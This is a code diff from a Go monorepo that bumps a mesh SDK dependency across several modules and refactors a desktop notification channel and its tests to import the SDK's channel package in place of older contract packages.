@@ -20,8 +28,8 @@ golang.org/x/crypto v0.57.0 h1:3ZVCjf8Ggz7zneR/EHRVx68Ctf+2pmIMP2UFhh9cC6M=
golang.org/x/crypto v0.57.0/go.mod h1:Fdz0i5U6CoizGwLda9DttjSk6qlZo25zYNtR+ycvuZA=
golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo=
golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og=
golang.org/x/time v0.15.0 h1:bbrp8t3bGUeFOx08pvsMYRTCVSMk89u4tKbNOZbp88U=
golang.org/x/time v0.15.0/go.mod h1:Y4YMaQmXwGQZoFaVFk4YpCt4FLQMYKZe9oeV/f4MSno=
golang.org/x/time v0.16.0 h1:vMb6ptszcQMkcwiRTAuNNU50gom6++Q/6gY2hDM6VDE=
golang.org/x/time v0.16.0/go.mod h1:rVKOqvZeKvrDKTQiAHJ7wmwP0RzleSphoEA9RcdLA0s=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
+3 -8
View File
@@ -25,17 +25,14 @@
"invokes": [
"seat:mesh-hand-acts.warranted",
"seat:mesh-hand-acts.hand-act",
"seat:mesh-catalog.seat-definitions",
"mesh-delivery-indexer.indexer_read_modules",
"mesh-delivery-indexer.indexer_read_manifests",
"mesh-delivery-assigner.assigner_read_assignments"
"mesh-delivery-assigner.assigner_read_placement"
],
"consumes": [
"mesh-delivery-indexer.views.modules",
"mesh-delivery-indexer.views.manifests",
"mesh-delivery-assigner.views.assignments",
"mesh-catalog.seat-definition-changed",
"mesh-catalog.seat-definition-removed"
"mesh-delivery-assigner.views.placement"
],
"state": [
"servers",
@@ -104,9 +101,7 @@
"claude_code_judge",
"claude_code_judged",
"claude_code_first_views",
"claude_code_first_view_again",
"claude_code_seat_list",
"claude_code_seat_list_again"
"claude_code_first_view_again"
],
"data": {
"own": [
+1 -1
View File
@@ -3,7 +3,7 @@ module claude-licence-manager
go 1.26.0
require (
git.novox.be/novox/mesh-sdk/go v0.0.0-00010101000000-000000000000
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f
github.com/jackc/pgx/v5 v5.11.0
)
+4
View File
@@ -1,3 +1,7 @@
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639 h1:Zt7CfWt2S2W/fVgWNyW2u2+xwz051LXvGxVTNIyfhdM=
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639/go.mod h1:0dD1XEJBJ0G5UYDQxSZI84nuujb6m3tOpJl4C8rQVvg=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f h1:jDsfDMd48MXY9Zershc3eRxnhmx2sSpUfQkLq5jAIds=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f/go.mod h1:08OomDXdwVN8/87nyDtv5R3rH/6LoP8SFFXz30bTYCM=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+1 -1
View File
@@ -2,7 +2,7 @@ module clipmenu
go 1.26.0
require git.novox.be/novox/mesh-sdk/go v0.0.0-00010101000000-000000000000
require git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f
require (
github.com/klauspost/compress v1.20.1 // indirect
+4
View File
@@ -1,3 +1,7 @@
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639 h1:Zt7CfWt2S2W/fVgWNyW2u2+xwz051LXvGxVTNIyfhdM=
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639/go.mod h1:0dD1XEJBJ0G5UYDQxSZI84nuujb6m3tOpJl4C8rQVvg=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f h1:jDsfDMd48MXY9Zershc3eRxnhmx2sSpUfQkLq5jAIds=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f/go.mod h1:08OomDXdwVN8/87nyDtv5R3rH/6LoP8SFFXz30bTYCM=
github.com/klauspost/compress v1.20.1 h1:T7kKElXUMXrUJ2E9QhQhxFtcK5rPyLdsGZvdbLMPdiQ=
github.com/klauspost/compress v1.20.1/go.mod h1:LUdAzn7YLVvxLpc7y3V1m40wESHTgc1422pwwBSKYuI=
github.com/nats-io/nats.go v1.54.0 h1:vsXoOxjHp/GmPUN+EcI7uOf/uB+iAP+kEsAFNQN0yzA=
+1 -1
View File
@@ -2,7 +2,7 @@ module cups
go 1.26.0
require git.novox.be/novox/mesh-sdk/go v0.0.0-00010101000000-000000000000
require git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f
require (
github.com/klauspost/compress v1.20.1 // indirect
+4
View File
@@ -1,3 +1,7 @@
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639 h1:Zt7CfWt2S2W/fVgWNyW2u2+xwz051LXvGxVTNIyfhdM=
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639/go.mod h1:0dD1XEJBJ0G5UYDQxSZI84nuujb6m3tOpJl4C8rQVvg=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f h1:jDsfDMd48MXY9Zershc3eRxnhmx2sSpUfQkLq5jAIds=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f/go.mod h1:08OomDXdwVN8/87nyDtv5R3rH/6LoP8SFFXz30bTYCM=
github.com/klauspost/compress v1.20.1 h1:T7kKElXUMXrUJ2E9QhQhxFtcK5rPyLdsGZvdbLMPdiQ=
github.com/klauspost/compress v1.20.1/go.mod h1:LUdAzn7YLVvxLpc7y3V1m40wESHTgc1422pwwBSKYuI=
github.com/nats-io/nats.go v1.54.0 h1:vsXoOxjHp/GmPUN+EcI7uOf/uB+iAP+kEsAFNQN0yzA=
+1 -1
View File
@@ -3,7 +3,7 @@ module dbus
go 1.26.0
require (
git.novox.be/novox/mesh-sdk/go v0.0.0-00010101000000-000000000000
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f
github.com/godbus/dbus/v5 v5.1.0
)
+4
View File
@@ -1,3 +1,7 @@
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639 h1:Zt7CfWt2S2W/fVgWNyW2u2+xwz051LXvGxVTNIyfhdM=
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639/go.mod h1:0dD1XEJBJ0G5UYDQxSZI84nuujb6m3tOpJl4C8rQVvg=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f h1:jDsfDMd48MXY9Zershc3eRxnhmx2sSpUfQkLq5jAIds=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f/go.mod h1:08OomDXdwVN8/87nyDtv5R3rH/6LoP8SFFXz30bTYCM=
github.com/godbus/dbus/v5 v5.1.0 h1:4KLkAxT3aOY8Li4FRJe/KvhoNFFxo0m6fNuFUO8QJUk=
github.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/klauspost/compress v1.20.1 h1:T7kKElXUMXrUJ2E9QhQhxFtcK5rPyLdsGZvdbLMPdiQ=
+21 -22
View File
@@ -35,8 +35,7 @@ import (
"sync"
"time"
occ "git.novox.be/novox/mesh-contracts/operator-and-conversation/go/clients/operatorchannelclient"
oc "git.novox.be/novox/mesh-contracts/operator-and-conversation/go/seats/operatorchannel"
"git.novox.be/novox/mesh-sdk/go/channel"
)
// Kind is this channel's kind on both benches.
@@ -60,19 +59,19 @@ const StandingEvery = 5 * time.Minute
// Standing is what the desk says of itself: the bench's word, and when a named machine's notifier last lost
// the answers its notifications waited for (its bundle started again). The router then says again what is
// still open and unanswered (issue 384). It belongs in oc.Standing once the SDK carries it; until then the
// still open and unanswered (issue 384). It belongs in channel.Standing once the SDK carries it; until then the
// field travels as JSON the router reads under the same name. Zero (as "0001-01-01T00:00:00Z") until then.
type Standing struct {
oc.Standing
channel.Standing
AnswersLostAt time.Time `json:"answers-lost-at"`
}
// Shown is one of the router's messages as the desk shows it: the message, and its notification on each
// machine.
type Shown struct {
Message oc.Message `json:"message"`
On map[string]int `json:"on"`
Sent time.Time `json:"sent"`
Message channel.Message `json:"message"`
On map[string]int `json:"on"`
Sent time.Time `json:"sent"`
}
// Store keeps what is shown, by the router's handle.
@@ -147,7 +146,7 @@ func (d *Desk) Take(subject string, body json.RawMessage) error {
d.Logf("[desk-channel] work on %s is not this kind's; taken and dropped", subject)
return nil
}
var m oc.Message
var m channel.Message
if err := json.Unmarshal(body, &m); err != nil || m.Handle == "" {
d.Logf("[desk-channel] work on %s could not be read; taken and dropped", subject)
return nil
@@ -159,8 +158,8 @@ func (d *Desk) Take(subject string, body json.RawMessage) error {
// would appear later, to whoever is at the screen then.
seeing, why := d.seeing()
if len(seeing) == 0 {
f := oc.Failed{Handle: m.Handle, Why: "not shown: " + why, At: d.Now()}
return d.Publish(occ.IntakeSubject(occ.FailedWhat, Kind), f, "failed."+m.Handle+"."+strconv.FormatInt(d.Now().UnixNano(), 10))
f := channel.Failed{Handle: m.Handle, Why: "not shown: " + why, At: d.Now()}
return d.Publish(channel.IntakeSubject(channel.FailedWhat, Kind), f, "failed."+m.Handle+"."+strconv.FormatInt(d.Now().UnixNano(), 10))
}
machines = seeing
}
@@ -177,7 +176,7 @@ func (d *Desk) Take(subject string, body json.RawMessage) error {
// shown (a reminder, an escalation), replace the notification it had on each machine — dunst's replace id —
// so a problem is one notification updated in place, never one more beside it. An edit stays quiet where
// it was shown; a message said again is shown anew where it was not.
edit := parts[4] == occ.Edit
edit := parts[4] == channel.Edit
var before *Shown
switch {
case edit:
@@ -227,8 +226,8 @@ func (d *Desk) Take(subject string, body json.RawMessage) error {
if len(machines) == 0 {
why = "no machine to show it on: the setting desktop-machines names none"
}
f := oc.Failed{Handle: m.Handle, Why: why, At: d.Now()}
if err := d.Publish(occ.IntakeSubject(occ.FailedWhat, Kind), f, "failed."+m.Handle+"."+strconv.FormatInt(d.Now().UnixNano(), 10)); err != nil {
f := channel.Failed{Handle: m.Handle, Why: why, At: d.Now()}
if err := d.Publish(channel.IntakeSubject(channel.FailedWhat, Kind), f, "failed."+m.Handle+"."+strconv.FormatInt(d.Now().UnixNano(), 10)); err != nil {
return err
}
return nil
@@ -323,7 +322,7 @@ func sameShown(a, b Shown) bool {
}
// show puts one message on one machine's notifier, in place of `replace` when it names one.
func (d *Desk) show(machine string, m oc.Message, replace int) (int, error) {
func (d *Desk) show(machine string, m channel.Message, replace int) (int, error) {
urgency := "normal"
switch {
case m.Urgent:
@@ -377,12 +376,12 @@ func (d *Desk) Chosen(event, machine, ticket string) {
}
handle, shown := d.find(ticket)
if shown == nil {
_, _ = d.show(machine, oc.Message{Title: "That answer was not taken",
_, _ = d.show(machine, channel.Message{Title: "That answer was not taken",
Body: "It belongs to no message shown here any more. Nothing was done.", Silent: true}, 0)
return
}
if _, here := shown.On[machine]; !here {
_, _ = d.show(machine, oc.Message{Title: "That answer was not taken",
_, _ = d.show(machine, channel.Message{Title: "That answer was not taken",
Body: "It was not shown on " + machine + ". Nothing was done.", Silent: true}, 0)
return
}
@@ -396,11 +395,11 @@ func (d *Desk) Chosen(event, machine, ticket string) {
}
d.clickedOn[id] = machine
d.mu.Unlock()
c := oc.Choice{ID: id, Ticket: ticket, Handle: handle, At: d.Now(),
Sender: oc.Sender{Identity: machine, Display: machine, Authenticated: false}}
if err := d.Publish(occ.IntakeSubject(occ.Chosen, Kind), c, id); err != nil {
c := channel.Choice{ID: id, Ticket: ticket, Handle: handle, At: d.Now(),
Sender: channel.Sender{Identity: machine, Display: machine, Authenticated: false}}
if err := d.Publish(channel.IntakeSubject(channel.Chosen, Kind), c, id); err != nil {
d.Logf("[desk-channel] a choice could not be said to the router: %v", err)
_, _ = d.show(machine, oc.Message{Title: "That answer could not be taken now",
_, _ = d.show(machine, channel.Message{Title: "That answer could not be taken now",
Body: "The mesh did not take it. Try again in a minute.", Silent: true}, 0)
}
}
@@ -509,7 +508,7 @@ func (d *Desk) seeing() ([]string, string) {
// (the review of 2026-10-09). The router shows no link's code while the desk is not ready.
func (d *Desk) Standing() Standing {
d.init()
s := Standing{Standing: oc.Standing{At: d.Now()}, AnswersLostAt: d.answersLostAt()}
s := Standing{Standing: channel.Standing{At: d.Now()}, AnswersLostAt: d.answersLostAt()}
if _, why := d.seeing(); why != "" {
s.Why = why
return s
@@ -543,7 +542,7 @@ func (d *Desk) SayStanding() {
if same {
return
}
if err := d.Publish(occ.IntakeSubject(occ.StandingWhat, Kind), s, "standing."+strconv.FormatInt(s.At.UnixNano(), 10)); err != nil {
if err := d.Publish(channel.IntakeSubject(channel.StandingWhat, Kind), s, "standing."+strconv.FormatInt(s.At.UnixNano(), 10)); err != nil {
d.Logf("[desk-channel] could not say whether it can send: %v", err)
return
}
@@ -10,8 +10,7 @@ import (
"testing"
"time"
occ "git.novox.be/novox/mesh-contracts/operator-and-conversation/go/clients/operatorchannelclient"
oc "git.novox.be/novox/mesh-contracts/operator-and-conversation/go/seats/operatorchannel"
"git.novox.be/novox/mesh-sdk/go/channel"
)
type memShown map[string]Shown
@@ -63,10 +62,10 @@ func newDesk(t *testing.T, machines ...string) (*Desk, *[]notified, map[string][
return d, &shown, said, store
}
func take(t *testing.T, d *Desk, verb string, m oc.Message) {
func take(t *testing.T, d *Desk, verb string, m channel.Message) {
t.Helper()
raw, _ := json.Marshal(m)
if err := d.Take(occ.ChannelSubject(verb, Kind), raw); err != nil {
if err := d.Take(channel.ChannelSubject(verb, Kind), raw); err != nil {
t.Fatal(err)
}
}
@@ -75,16 +74,16 @@ func take(t *testing.T, d *Desk, verb string, m oc.Message) {
// says a click as a choice the router judges — only on a machine the message was shown on.
func TestAClickOnAMachineTheMessageWasShownOnIsSaidToTheRouter(t *testing.T) {
d, shown, said, _ := newDesk(t, "laptop", "away-machine")
take(t, d, occ.Show, oc.Message{Handle: "m1", Title: "3 failed services", Body: "Needs you: <mend> them.",
Buttons: []oc.Button{{Label: "Silence for a week", Ticket: "t1"}}})
take(t, d, channel.Show, channel.Message{Handle: "m1", Title: "3 failed services", Body: "Needs you: <mend> them.",
Buttons: []channel.Button{{Label: "Silence for a week", Ticket: "t1"}}})
if len(*shown) != 1 || (*shown)[0].machine != "laptop" || (*shown)[0].args["expire_ms"] != 0 ||
(*shown)[0].args["body"] != "Needs you: &lt;mend&gt; them." {
t.Fatalf("shown %+v", *shown)
}
d.Chosen("e1", "laptop", "t1")
d.Chosen("e1", "laptop", "t1") // a redelivery
got := said[occ.IntakeSubject(occ.Chosen, Kind)]
var c oc.Choice
got := said[channel.IntakeSubject(channel.Chosen, Kind)]
var c channel.Choice
if len(got) != 1 || json.Unmarshal(got[0], &c) != nil || c.Ticket != "t1" || c.Handle != "m1" ||
c.Sender.Identity != "laptop" || c.Sender.Authenticated {
t.Fatalf("said %s", got)
@@ -92,14 +91,14 @@ func TestAClickOnAMachineTheMessageWasShownOnIsSaidToTheRouter(t *testing.T) {
// Elsewhere it is refused, there, and nothing is said to the router.
d.Chosen("e2", "workstation", "t1")
d.Chosen("e3", "laptop", "forged")
if len(said[occ.IntakeSubject(occ.Chosen, Kind)]) != 1 {
if len(said[channel.IntakeSubject(channel.Chosen, Kind)]) != 1 {
t.Error("a click not shown there was said")
}
if last := (*shown)[len(*shown)-1]; last.machine != "laptop" || last.args["summary"] != "That answer was not taken" {
t.Errorf("the refusal was not shown where it was chosen: %+v", last)
}
// The router's reply to the click is shown on the machine it was made on.
take(t, d, occ.Send, oc.Message{Handle: "r1", Title: "Details: 3 failed services", Reply: c.ID})
take(t, d, channel.Send, channel.Message{Handle: "r1", Title: "Details: 3 failed services", Reply: c.ID})
if last := (*shown)[len(*shown)-1]; last.machine != "laptop" || last.args["summary"] != "Details: 3 failed services" {
t.Errorf("%+v", last)
}
@@ -108,8 +107,8 @@ func TestAClickOnAMachineTheMessageWasShownOnIsSaidToTheRouter(t *testing.T) {
// The note follows the body after a blank line: the desk has no smaller text, and leaves nothing out (issue 639).
func TestTheNoteFollowsTheBody(t *testing.T) {
d, shown, _, _ := newDesk(t, "laptop")
take(t, d, occ.Show, oc.Message{Handle: "m1", Title: "q", Body: "The summary.", Note: "Asked by mesh-knowledge at 16:05.",
Buttons: []oc.Button{{Label: "Silence for a week", Ticket: "t1"}}})
take(t, d, channel.Show, channel.Message{Handle: "m1", Title: "q", Body: "The summary.", Note: "Asked by mesh-knowledge at 16:05.",
Buttons: []channel.Button{{Label: "Silence for a week", Ticket: "t1"}}})
if last := (*shown)[len(*shown)-1]; last.args["body"] != "The summary.\n\nAsked by mesh-knowledge at 16:05." {
t.Errorf("the body: %q", last.args["body"])
}
@@ -117,8 +116,8 @@ func TestTheNoteFollowsTheBody(t *testing.T) {
func TestAnEditReplacesTheNotification(t *testing.T) {
d, shown, _, _ := newDesk(t, "laptop")
take(t, d, occ.Show, oc.Message{Handle: "m1", Title: "q", Buttons: []oc.Button{{Label: "Silence for a week", Ticket: "t1"}}})
take(t, d, occ.Edit, oc.Message{Handle: "m1", Title: "Silence for a week: chosen"})
take(t, d, channel.Show, channel.Message{Handle: "m1", Title: "q", Buttons: []channel.Button{{Label: "Silence for a week", Ticket: "t1"}}})
take(t, d, channel.Edit, channel.Message{Handle: "m1", Title: "Silence for a week: chosen"})
if last := (*shown)[len(*shown)-1]; last.args["replace_id"] != 1 || last.args["actions"] != nil {
t.Errorf("the edit: %+v", last.args)
}
@@ -135,17 +134,17 @@ func TestANotifierThatStartedAgainIsShownNothingFromMemory(t *testing.T) {
d, shown, said, store := newDesk(t, "laptop")
d.Paused("laptop", false)
d.SayStanding()
take(t, d, occ.Show, oc.Message{Handle: "open", Title: "2 failed services on shanks",
Buttons: []oc.Button{{Label: "Silence for a week", Ticket: "t-open"}}})
take(t, d, occ.Show, oc.Message{Handle: "silenced", Title: "Agent-home shrank",
Buttons: []oc.Button{{Label: "Silence for a week", Ticket: "t-silenced"}}})
take(t, d, occ.Edit, oc.Message{Handle: "silenced", Title: "Silenced until Saturday: Agent-home shrank", Silent: true})
take(t, d, occ.Show, oc.Message{Handle: "resolved", Title: "Questions for you not delivered",
Buttons: []oc.Button{{Label: "Details", Ticket: "t-resolved"}}})
take(t, d, occ.Edit, oc.Message{Handle: "resolved", Title: "Resolved: questions for you are delivered", Silent: true})
take(t, d, channel.Show, channel.Message{Handle: "open", Title: "2 failed services on shanks",
Buttons: []channel.Button{{Label: "Silence for a week", Ticket: "t-open"}}})
take(t, d, channel.Show, channel.Message{Handle: "silenced", Title: "Agent-home shrank",
Buttons: []channel.Button{{Label: "Silence for a week", Ticket: "t-silenced"}}})
take(t, d, channel.Edit, channel.Message{Handle: "silenced", Title: "Silenced until Saturday: Agent-home shrank", Silent: true})
take(t, d, channel.Show, channel.Message{Handle: "resolved", Title: "Questions for you not delivered",
Buttons: []channel.Button{{Label: "Details", Ticket: "t-resolved"}}})
take(t, d, channel.Edit, channel.Message{Handle: "resolved", Title: "Resolved: questions for you are delivered", Silent: true})
openID := store["open"].On["laptop"]
before := len(*shown)
standings := len(said[occ.IntakeSubject(occ.StandingWhat, Kind)])
standings := len(said[channel.IntakeSubject(channel.StandingWhat, Kind)])
later := d.Now().Add(time.Hour)
d.Now = func() time.Time { return later }
d.Paused("laptop", false)
@@ -158,25 +157,25 @@ func TestANotifierThatStartedAgainIsShownNothingFromMemory(t *testing.T) {
if store["open"].On["laptop"] != openID {
t.Fatalf("the open message's notification was forgotten: %+v", store["open"].On)
}
got := said[occ.IntakeSubject(occ.StandingWhat, Kind)]
got := said[channel.IntakeSubject(channel.StandingWhat, Kind)]
var s Standing
if len(got) != standings+1 || json.Unmarshal(got[len(got)-1], &s) != nil || !s.Ready || !s.AnswersLostAt.Equal(later) {
t.Fatalf("the standing after the start: %d said, last %s", len(got)-standings, got[len(got)-1])
}
// The router says the open one again under its handle: in place of its notification, with its answers.
take(t, d, occ.Show, oc.Message{Handle: "open", Title: "2 failed services on shanks",
Buttons: []oc.Button{{Label: "Silence for a week", Ticket: "t-open"}}})
take(t, d, channel.Show, channel.Message{Handle: "open", Title: "2 failed services on shanks",
Buttons: []channel.Button{{Label: "Silence for a week", Ticket: "t-open"}}})
last := (*shown)[len(*shown)-1]
if len(*shown) != before+1 || last.args["replace_id"] != openID || last.args["actions"] == nil {
t.Fatalf("the open message said again: %+v", last.args)
}
d.Chosen("e2", "laptop", "t-open")
if len(said[occ.IntakeSubject(occ.Chosen, Kind)]) != 1 {
if len(said[channel.IntakeSubject(channel.Chosen, Kind)]) != 1 {
t.Error("a click on the message said again was not said to the router")
}
// The same start event again (a redelivery) does nothing more.
standings = len(said[occ.IntakeSubject(occ.StandingWhat, Kind)])
if n := d.Started("e-start", "laptop"); n != 0 || len(said[occ.IntakeSubject(occ.StandingWhat, Kind)]) != standings {
standings = len(said[channel.IntakeSubject(channel.StandingWhat, Kind)])
if n := d.Started("e-start", "laptop"); n != 0 || len(said[channel.IntakeSubject(channel.StandingWhat, Kind)]) != standings {
t.Errorf("a redelivered start was acted on again: %d", n)
}
// A desk none of whose notifiers started again says a zero time, which the router reads as none.
@@ -188,8 +187,8 @@ func TestANotifierThatStartedAgainIsShownNothingFromMemory(t *testing.T) {
func TestNoMachineThatShowsItIsAFailureSaidToTheRouter(t *testing.T) {
d, _, said, _ := newDesk(t, "away-machine")
take(t, d, occ.Send, oc.Message{Handle: "m1", Title: "x"})
if f := said[occ.IntakeSubject(occ.FailedWhat, Kind)]; len(f) != 1 || !strings.Contains(string(f[0]), "no session answers") ||
take(t, d, channel.Send, channel.Message{Handle: "m1", Title: "x"})
if f := said[channel.IntakeSubject(channel.FailedWhat, Kind)]; len(f) != 1 || !strings.Contains(string(f[0]), "no session answers") ||
strings.Contains(string(f[0]), `"permanent":true`) {
t.Errorf("%s", f)
}
@@ -230,7 +229,7 @@ func TestItPromisesNoVerifiedSender(t *testing.T) {
func TestASecretMessageIsShownAndNotKept(t *testing.T) {
d, shown, _, store := newDesk(t, "laptop")
d.Paused("laptop", false)
take(t, d, occ.Send, oc.Message{Handle: "code", Title: "Link a Telegram account as you", Body: "123 456", Secret: true})
take(t, d, channel.Send, channel.Message{Handle: "code", Title: "Link a Telegram account as you", Body: "123 456", Secret: true})
if len(*shown) != 1 {
t.Fatal("not shown")
}
@@ -253,8 +252,8 @@ func TestASecretIsShownOnlyWhereTheNotifierIsHeardUnpausedAndNeverKept(t *testin
if s := d.Standing(); !s.Ready {
t.Fatalf("not ready with laptop heard unpaused: %+v", s)
}
code := oc.Message{Handle: "code", Title: "Link a Telegram account as you", Body: "123 456", Secret: true}
take(t, d, occ.Send, code)
code := channel.Message{Handle: "code", Title: "Link a Telegram account as you", Body: "123 456", Secret: true}
take(t, d, channel.Send, code)
if len(*shown) != 1 || (*shown)[0].machine != "laptop" || (*shown)[0].args["secret"] != true {
t.Fatalf("the code was shown as %+v", *shown)
}
@@ -263,11 +262,11 @@ func TestASecretIsShownOnlyWhereTheNotifierIsHeardUnpausedAndNeverKept(t *testin
}
// Paused: not shown anywhere, said as failed, and the desk is not ready.
d.Paused("laptop", true)
take(t, d, occ.Send, code)
take(t, d, channel.Send, code)
if len(*shown) != 1 {
t.Fatalf("the code was shown on a paused notifier: %+v", *shown)
}
if f := said[occ.IntakeSubject(occ.FailedWhat, Kind)]; len(f) != 1 || !strings.Contains(string(f[0]), "paused") {
if f := said[channel.IntakeSubject(channel.FailedWhat, Kind)]; len(f) != 1 || !strings.Contains(string(f[0]), "paused") {
t.Errorf("not said as failed: %s", f)
}
if s := d.Standing(); s.Ready || !strings.Contains(s.Why, "paused") {
@@ -285,7 +284,7 @@ func TestASecretIsShownOnlyWhereTheNotifierIsHeardUnpausedAndNeverKept(t *testin
t.Error("a machine not named made the desk ready")
}
// A message that is not secret still goes to every named machine, paused or not.
take(t, d, occ.Send, oc.Message{Handle: "m9", Title: "x"})
take(t, d, channel.Send, channel.Message{Handle: "m9", Title: "x"})
if len(*shown) != 3 {
t.Errorf("an ordinary message was held back: %+v", *shown)
}
@@ -331,8 +330,8 @@ func TestItRunsAsItsOwnAccount(t *testing.T) {
// was not shown; a message under a new handle replaces nothing.
func TestAMessageSaidAgainUnderItsHandleReplacesItsNotification(t *testing.T) {
d, shown, _, store := newDesk(t, "laptop", "desktop")
take(t, d, occ.Send, oc.Message{Handle: "m1", Title: "2 failed services on shanks"})
take(t, d, occ.Send, oc.Message{Handle: "m2", Title: "another problem"})
take(t, d, channel.Send, channel.Message{Handle: "m1", Title: "2 failed services on shanks"})
take(t, d, channel.Send, channel.Message{Handle: "m2", Title: "another problem"})
if len(*shown) != 4 {
t.Fatalf("shown %d", len(*shown))
}
@@ -344,8 +343,8 @@ func TestAMessageSaidAgainUnderItsHandleReplacesItsNotification(t *testing.T) {
first := store["m1"].On
// The desk now names a third machine as well.
d.Machines = func() []string { return []string{"laptop", "desktop", "third"} }
take(t, d, occ.Show, oc.Message{Handle: "m1", Title: "Still open: 2 failed services on shanks", Urgent: true,
Buttons: []oc.Button{{Label: "Silence for a week", Ticket: "t1"}}})
take(t, d, channel.Show, channel.Message{Handle: "m1", Title: "Still open: 2 failed services on shanks", Urgent: true,
Buttons: []channel.Button{{Label: "Silence for a week", Ticket: "t1"}}})
again := (*shown)[4:]
if len(again) != 3 {
t.Fatalf("said again on %d machines", len(again))
@@ -398,18 +397,18 @@ func TestAFailedReplaceKeepsTheNotificationItWasToReplace(t *testing.T) {
d, shown, _, store := newDesk(t, "laptop")
down := true
d.Store = downStore{store, &down}
raised, _ := json.Marshal(oc.Message{Handle: "m9", Title: "A new build cannot be delivered", Urgent: true})
if err := d.Take(occ.ChannelSubject(occ.Send, Kind), raised); err != nil {
raised, _ := json.Marshal(channel.Message{Handle: "m9", Title: "A new build cannot be delivered", Urgent: true})
if err := d.Take(channel.ChannelSubject(channel.Send, Kind), raised); err != nil {
t.Fatalf("the raise was not taken: %v", err)
}
cleared, _ := json.Marshal(oc.Message{Handle: "m9", Title: "Cleared: a new build can be delivered"})
if err := d.Take(occ.ChannelSubject(occ.Edit, Kind), cleared); err != nil {
cleared, _ := json.Marshal(channel.Message{Handle: "m9", Title: "Cleared: a new build can be delivered"})
if err := d.Take(channel.ChannelSubject(channel.Edit, Kind), cleared); err != nil {
t.Fatalf("the clearing was not taken: %v", err)
}
d.KeepUnkept() // the minute's standing, store still down
down = !back
d.KeepUnkept()
take(t, d, occ.Send, oc.Message{Handle: "m10", Title: "another"})
take(t, d, channel.Send, channel.Message{Handle: "m10", Title: "another"})
if len(*shown) != 3 || (*shown)[1].args["replace_id"] != 1 || (*shown)[1].args["summary"] != "Cleared: a new build can be delivered" {
t.Fatalf("the clearing did not replace the urgent notification: %+v", *shown)
}
@@ -424,7 +423,7 @@ func TestAFailedReplaceKeepsTheNotificationItWasToReplace(t *testing.T) {
}
d, shown, said, store := newDesk(t, "laptop", "desktop")
take(t, d, occ.Send, oc.Message{Handle: "m1", Title: "2 failed services on shanks"})
take(t, d, channel.Send, channel.Message{Handle: "m1", Title: "2 failed services on shanks"})
first := store["m1"].On
notify := d.Notify
d.Notify = func(machine string, args map[string]any) (json.RawMessage, error) {
@@ -433,13 +432,13 @@ func TestAFailedReplaceKeepsTheNotificationItWasToReplace(t *testing.T) {
}
return notify(machine, args)
}
take(t, d, occ.Send, oc.Message{Handle: "m1", Title: "Still open: 2 failed services on shanks"})
take(t, d, channel.Send, channel.Message{Handle: "m1", Title: "Still open: 2 failed services on shanks"})
if got := store["m1"].On["desktop"]; got != first["desktop"] {
t.Fatalf("the desktop's notification %d was forgotten: %v", first["desktop"], store["m1"].On)
}
d.Notify = func(string, map[string]any) (json.RawMessage, error) { return nil, errors.New("away") }
take(t, d, occ.Send, oc.Message{Handle: "m1", Title: "Now urgent: 2 failed services on shanks"})
if len(said[occ.IntakeSubject(occ.FailedWhat, Kind)]) != 1 {
take(t, d, channel.Send, channel.Message{Handle: "m1", Title: "Now urgent: 2 failed services on shanks"})
if len(said[channel.IntakeSubject(channel.FailedWhat, Kind)]) != 1 {
t.Fatalf("shown nowhere, and not said as failed")
}
_ = shown
+1 -6
View File
@@ -2,7 +2,7 @@ module deskchannel
go 1.26.0
require git.novox.be/novox/mesh-sdk/go v0.0.0-00010101000000-000000000000
require git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f
require (
github.com/klauspost/compress v1.20.1 // indirect
@@ -12,8 +12,3 @@ require (
golang.org/x/crypto v0.57.0 // indirect
golang.org/x/sys v0.48.0 // indirect
)
require (
git.novox.be/novox/mesh-contracts/operator-and-conversation/go/clients/operatorchannelclient v0.0.0-00010101000000-000000000000
